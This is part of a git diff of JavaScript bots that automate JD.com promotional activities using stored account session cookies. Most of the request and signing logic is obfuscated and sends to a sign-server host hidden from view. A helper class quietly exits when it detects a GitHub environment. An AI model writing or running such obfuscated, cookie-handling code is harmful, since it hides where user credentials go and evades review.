_0xcdf01e={'url':_0x29400c[_0x1926('‮20d')],'headers':{'Host':_0x29400c[_0x1926('‮20e')],'Accept':_0x29400c[_0x1926('‮20f')],'Connection':_0x29400c[_0x1926('‮210')],'Cookie':cookie,'User-Agent':_0x29400c[_0x1926('‫211')],'Accept-Language':_0x29400c[_0x1926('‮212')],'Referer':_0x29400c[_0x1926('‮213')],'Accept-Encoding':_0x29400c[_0x1926('‮214')]}};return new Promise(_0x44035d=>{var _0x39e0c5={'KrVxL':function(_0x47d8e5,_0x11fed6){return _0x29400c[_0x1926('‫215')](_0x47d8e5,_0x11fed6);},'TWtvS':function(_0x2844fb,_0x4068e3){return _0x29400c[_0x1926('‮216')](_0x2844fb,_0x4068e3);}};$[_0x1926('‫132')](_0xcdf01e,(_0x140879,_0x303bd3,_0x21bf15)=>{var _0x97000f={'HSeTM':function(_0x542259,_0x4a67fb){return _0x29400c[_0x1926('‮217')](_0x542259,_0x4a67fb);},'Yweww':_0x29400c[_0x1926('‮218')]};if(_0x29400c[_0x1926('‮217')](_0x29400c[_0x1926('‮219')],_0x29400c[_0x1926('‫21a')])){$[_0x1926('‮20')](e,_0x303bd3);}else{try{if(_0x29400c[_0x1926('‫21b')](_0x29400c[_0x1926('‫21c')],_0x29400c[_0x1926('‫21c')])){if(process[_0x1926('‫5e')][_0x1926('‮60')]){$[_0x1926('‫61')]=process[_0x1926('‫5e')][_0x1926('‮60')][_0x1926('‫62')]('@');}}else{if(_0x140879){if(_0x29400c[_0x1926('‮217')](_0x29400c[_0x1926('‫21d')],_0x29400c[_0x1926('‫21d')])){$[_0x1926('‮20')](_0x140879);}else{$[_0x1926('‮7e')]=_0x21bf15[_0x1926('‮7e')];}}else{if(_0x21bf15){if(_0x29400c[_0x1926('‫21b')](_0x29400c[_0x1926('‮21e')],_0x29400c[_0x1926('‫21f')])){_0x21bf15=JSON[_0x1926('‫d4')](_0x21bf15);if(_0x29400c[_0x1926('‮220')](_0x21bf15[_0x1926('‮221')],_0x29400c[_0x1926('‮222')])){if(_0x29400c[_0x1926('‮223')](_0x29400c[_0x1926('‫224')],_0x29400c[_0x1926('‫224')])){if(_0x21bf15){_0x21bf15=JSON[_0x1926('‫d4')](_0x21bf15);if(_0x97000f[_0x1926('‮225')](_0x21bf15[_0x1926('‮d6')],'0')){$[_0x1926('‮7e')]=_0x21bf15[_0x1926('‮7e')];}}else{$[_0x1926('‮16')](_0x97000f[_0x1926('‫226')]);}}else{$[_0x1926('‮25')]=![];return;}}if(_0x29400c[_0x1926('‮220')](_0x21bf15[_0x1926('‮221')],'0')&&_0x21bf15[_0x1926('‮3b')][_0x1926('‫227')](_0x29400c[_0x1926('‫228')])){if(_0x29400c[_0x1926('‫229')](_0x29400c[_0x1926('‫22a')],_0x29400c[_0x1926('‫22a')])){$[_0x1926('‮16')](_0x140879);}else{$[_0x1926('‫26')]=_0x21bf15[_0x1926('‮3b')][_0x1926('‮3c')][_0x1926('‮3d')][_0x1926('‮3e')];}}}else{$[_0x1926('‮20')](e,_0x303bd3);}}else{if(_0x29400c[_0x1926('‫229')](_0x29400c[_0x1926('‫22b')],_0x29400c[_0x1926('‫22c')])){$[_0x1926('‮16')](_0x29400c[_0x1926('‮218')]);}else{let _0x295554=str[_0x1926('‮28')](leftStr);let _0x342dcf=str[_0x1926('‮28')](rightStr,_0x295554);if(_0x39e0c5[_0x1926('‫22d')](_0x295554,0x0)||_0x39e0c5[_0x1926('‫22d')](_0x342dcf,_0x295554))return'';return str[_0x1926('‫1d7')](_0x39e0c5[_0x1926('‫22e')](_0x295554,leftStr[_0x1926('‮1c')]),_0x342dcf);}}}}}catch(_0x19226f){$[_0x1926('‮20')](_0x19226f);}finally{_0x29400c[_0x1926('‫22f')](_0x44035d);}}});});}async function getToken(){var _0x5ba759={'BfvTL':function(_0x29319c,_0x2d7777){return _0x29319c|_0x2d7777;},'iiXZD':function(_0x559cce,_0x51a36b){return _0x559cce*_0x51a36b;},'JkYsY':function(_0x3be838,_0x3d9c07){return _0x3be838==_0x3d9c07;},'OcFMg':function(_0x59b719,_0x4144d8){return _0x59b719&_0x4144d8;},'Obwyb':function(_0x42b818){return _0x42b818();},'yBFpb':function(_0x3766ce,_0x56e934){return _0x3766ce!==_0x56e934;},'iEQwb':_0x1926('‫230'),'clPGC':_0x1926('‮231'),'pFEeH':function(_0x187f1d,_0xa4271a){return _0x187f1d===_0xa4271a;},'NXtbo':function(_0x3686ca,_0x1b8085){return _0x3686ca!==_0x1b8085;},'AaZoF':_0x1926('‫232'),'VlIbH':_0x1926('‫233'),'JsIxF':_0x1926('‮b4'),'xRcYO':function(_0x2196bb,_0x1ff8d3){return _0x2196bb===_0x1ff8d3;},'DxEbB':_0x1926('‫234'),'aVkcT':_0x1926('‮235'),'OHNKv':_0x1926('‮6d'),'HKAjF':_0x1926('‫6e'),'NiVUO':function(_0x40c7a9,_0x539a94){return _0x40c7a9+_0x539a94;},'oPCQz':_0x1926('‮236'),'YCXEV':_0x1926('‮237'),'zvYam':function(_0x1ea084,_0x442cf3,_0x46783c){return _0x1ea084(_0x442cf3,_0x46783c);},'XNvYY':_0x1926('‮238'),'VvJlA':_0x1926('‫239'),'ktCCg':_0x1926('‮23a'),'AElLM':_0x1926('‫f0'),'mbNIV':_0x1926('‮20a'),'jMBdV':_0x1926('‫f2'),'RpcOY':_0x1926('‮23b'),'EuHDo':_0x1926('‮23c'),'OzraE':_0x1926('‫ef')};let _0x27d5c9=await _0x5ba759[_0x1926('‫23d')](getSign,_0x5ba759[_0x1926('‫23e')],{'id':'','url':_0x5ba759[_0x1926('‫23f')]});let _0x3a16d4={'url':_0x1926('‫240'),'headers':{'Host':_0x5ba759[_0x1926('‫241')],'Content-Type':_0x5ba759[_0x1926('‫242')],'Accept':_0x5ba759[_0x1926('‫243')],'Connection':_0x5ba759[_0x1926('‫244')],'Cookie':cookie,'User-Agent':_0x5ba759[_0x1926('‮245')],'Accept-Language':_0x5ba759[_0x1926('‫246')],'Accept-Encoding':_0x5ba759[_0x1926('‮247')]},'body':_0x27d5c9};return new Promise(_0x3e50c2=>{var _0x45f45d={'JGgwe':_0x5ba759[_0x1926('‫248')],'DUrks':_0x5ba759[_0x1926('‮249')],'wmSlo':function(_0x444d17,_0x273f77){return _0x5ba759[_0x1926('‫24a')](_0x444d17,_0x273f77);},'nTNKC':function(_0x1ec9bd,_0x26f39c){return _0x5ba759[_0x1926('‫24a')](_0x1ec9bd,_0x26f39c);}};if(_0x5ba759[_0x1926('‫24b')](_0x5ba759[_0x1926('‮24c')],_0x5ba759[_0x1926('‮24d')])){$[_0x1926('‮cf')](_0x3a16d4,(_0x19117a,_0x48fbe0,_0x1c90a3)=>{var _0x657368={'Wfasp':function(_0x2372f6,_0x586418){return _0x5ba759[_0x1926('‫24e')](_0x2372f6,_0x586418);},'gzQpE':function(_0x58dae3,_0x2d3050){return _0x5ba759[_0x1926('‮24f')](_0x58dae3,_0x2d3050);},'XSBmx':function(_0x25db63,_0x2896b6){return _0x5ba759[_0x1926('‫250')](_0x25db63,_0x2896b6);},'sSRJp':function(_0x52aa96,_0x21b120){return _0x5ba759[_0x1926('‫251')](_0x52aa96,_0x21b120);},'mEbah':function(_0x13f7e9){return _0x5ba759[_0x1926('‫252')](_0x13f7e9);}};try{if(_0x19117a){$[_0x1926('‮16')](_0x19117a);}else{if(_0x1c90a3){if(_0x5ba759[_0x1926('‮253')](_0x5ba759[_0x1926('‫254')],_0x5ba759[_0x1926('‫255')])){_0x1c90a3=JSON[_0x1926('‫d4')](_0x1c90a3);if(_0x5ba759[_0x1926('‮256')](_0x1c90a3[_0x1926('‮d6')],'0')){if(_0x5ba759[_0x1926('‫24b')](_0x5ba759[_0x1926('‫257')],_0x5ba759[_0x1926('‫257')])){return format[_0x1926('‮17b')](/[xy]/g,function(_0x578da5){var _0x23d0a3=_0x657368[_0x1926('‫258')](_0x657368[_0x1926('‫259')](Math[_0x1926('‮14d')](),0x10),0x0),_0x4f47f=_0x657368[_0x1926('‮25a')](_0x578da5,'x')?_0x23d0a3:_0x657368[_0x1926('‫258')](_0x657368[_0x1926('‮25b')](_0x23d0a3,0x3),0x8);if(UpperCase){uuid=_0x4f47f[_0x1926('‫e8')](0x24)[_0x1926('‫e9')]();}else{uuid=_0x4f47f[_0x1926('‫e8')](0x24);}return uuid;});}else{$[_0x1926('‮7e')]=_0x1c90a3[_0x1926('‮7e')];}}}else{_0x1c90a3=JSON[_0x1926('‫d4')](_0x1c90a3);if(_0x1c90a3[_0x1926('‫df')]){$[_0x1926('‮16')](_0x1926('‮122')+_0x1c90a3[_0x1926('‮3b')][_0x1926('‮3e')]);$[_0x1926('‫123')]=_0x1c90a3[_0x1926('‮3b')][_0x1926('‮3e')];$[_0x1926('‫7f')]=_0x1c90a3[_0x1926('‮3b')][_0x1926('‫7f')];}else{$[_0x1926('‮16')](_0x1c90a3[_0x1926('‮126')]);}}}else{if(_0x5ba759[_0x1926('‫24b')](_0x5ba759[_0x1926('‫25c')],_0x5ba759[_0x1926('‫25c')])){_0x657368[_0x1926('‮25d')](_0x3e50c2);}else{$[_0x1926('‮16')](_0x5ba759[_0x1926('‮25e')]);}}}}catch(_0xcd2ff2){if(_0x5ba759[_0x1926('‫25f')](_0x5ba759[_0x1926('‮260')],_0x5ba759[_0x1926('‮261')])){cookie=originCookie+';';for(let _0x518e82 of _0x48fbe0[_0x45f45d[_0x1926('‫262')]][_0x45f45d[_0x1926('‮263')]]){lz_cookie[_0x518e82[_0x1926('‫62')](';')[0x0][_0x1926('‫a6')](0x0,_0x518e82[_0x1926('‫62')](';')[0x0][_0x1926('‮28')]('='))]=_0x518e82[_0x1926('‫62')](';')[0x0][_0x1926('‫a6')](_0x45f45d[_0x1926('‫264')](_0x518e82[_0x1926('‫62')](';')[0x0][_0x1926('‮28')]('='),0x1));}for(const _0x384638 of Object[_0x1926('‫a8')](lz_cookie)){cookie+=_0x45f45d[_0x1926('‫264')](_0x45f45d[_0x1926('‮265')](_0x45f45d[_0x1926('‮265')](_0x384638,'='),lz_cookie[_0x384638]),';');}}else{$[_0x1926('‮16')](_0xcd2ff2);}}finally{_0x5ba759[_0x1926('‫252')](_0x3e50c2);}});}else{$[_0x1926('‮16')](error);}});}function getSign(_0x2a8884,_0x199e5d){var _0x19a7dd={'dlgaN':function(_0x17978c,_0x21ae6e){return _0x17978c===_0x21ae6e;},'nyDuG':_0x1926('‫266'),'tUGbL':_0x1926('‫267'),'pcXkM':function(_0x910f4d,_0x4f9e75){return _0x910f4d===_0x4f9e75;},'heeyD':_0x1926('‮268'),'yzjNR':_0x1926('‫269'),'XyQcv':function(_0x4b6432,_0x4e4fae){return _0x4b6432(_0x4e4fae);},'aEFwP':_0x1926('‮26a'),'gdwWV':_0x1926('‫26b'),'gEGKx':function(_0x10bc1d,_0x29031d){return _0x10bc1d===_0x29031d;},'MLxQn':_0x1926('‮26c'),'OhIQH':function(_0x149eef,_0x894cbe){return _0x149eef*_0x894cbe;},'miQct':_0x1926('‫1e0')};return new Promise(async _0xbd6227=>{var _0x128185={'dYbHo':function(_0x55d180,_0x2a7591){return _0x19a7dd[_0x1926('‫26d')](_0x55d180,_0x2a7591);},'wZuNF':_0x19a7dd[_0x1926('‫26e')],'tIhuv':_0x19a7dd[_0x1926('‫26f')],'ILBDz':function(_0x579a1b,_0x1e9899){return _0x19a7dd[_0x1926('‫270')](_0x579a1b,_0x1e9899);},'PFPWp':_0x19a7dd[_0x1926('‮271')],'EpYfO':_0x19a7dd[_0x1926('‫272')],'XRlrd':function(_0x14a651,_0x38e65d){return _0x19a7dd[_0x1926('‫273')](_0x14a651,_0x38e65d);}};let _0x5a7478={'functionId':_0x2a8884,'body':JSON[_0x1926('‫e7')](_0x199e5d),'activityId':_0x19a7dd[_0x1926('‫274')]};let _0x3567b7='';let _0x3b6955=[_0x19a7dd[_0x1926('‮275')]];if(process[_0x1926('‫5e')][_0x1926('‫276')]){if(_0x19a7dd[_0x1926('‫277')](_0x19a7dd[_0x1926('‫278')],_0x19a7dd[_0x1926('‫278')])){_0x3567b7=process[_0x1926('‫5e')][_0x1926('‫276')];}else{$[_0x1926('‮16')](error);}}else{_0x3567b7=_0x3b6955[Math[_0x1926('‫14b')](_0x19a7dd[_0x1926('‮279')](Math[_0x1926('‮14d')](),_0x3b6955[_0x1926('‮1c')]))];}let _0x3a86bc={'url':_0x1926('‫27a'),'body':JSON[_0x1926('‫e7')](_0x5a7478),'headers':{'Host':_0x3567b7,'User-Agent':_0x19a7dd[_0x1926('‮27b')]},'timeout':_0x19a7dd[_0x1926('‮279')](0x1e,0x3e8)};$[_0x1926('‮cf')](_0x3a86bc,(_0x206b2c,_0x4073d7,_0x5a7478)=>{if(_0x128185[_0x1926('‮27c')](_0x128185[_0x1926('‫27d')],_0x128185[_0x1926('‮27e')])){$[_0x1926('‮16')](error);}else{try{if(_0x206b2c){console[_0x1926('‮16')](''+JSON[_0x1926('‫e7')](_0x206b2c));console[_0x1926('‮16')]($[_0x1926('‫13')]+_0x1926('‫183'));}else{}}catch(_0x261084){$[_0x1926('‮20')](_0x261084,_0x4073d7);}finally{if(_0x128185[_0x1926('‫27f')](_0x128185[_0x1926('‮280')],_0x128185[_0x1926('‮281')])){$[_0x1926('‮20')](_0x206b2c);}else{_0x128185[_0x1926('‮282')](_0xbd6227,_0x5a7478);}}}});});};_0xod1='jsjiami.com.v6'; +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_wxFansinter.js b/jd_wxFansinter.js new file mode 100755 index 0000000..4cf7df9 --- /dev/null +++ b/jd_wxFansinter.js @@ -0,0 +1,33 @@ +/* +粉丝互动 +https://lzkjdz-isv.isvjcloud.com/wxFansInterActionActivity/activity/xxx?activityId=xxx&adsource=tg_xuanFuTuBiao +7 7 7 7 7 rush_wxFansinter.js +wxFansInterActionActivity 活动id, 多活动 & 分开 +*/ +const $ = new Env("粉丝互动"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let activityTitleList = [ +]; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +if (process.env.wxFansInterActionActivity && process.env.wxFansInterActionActivity != "") { + activityTitleList = process.env.wxFansInterActionActivity.split('&'); +} +var 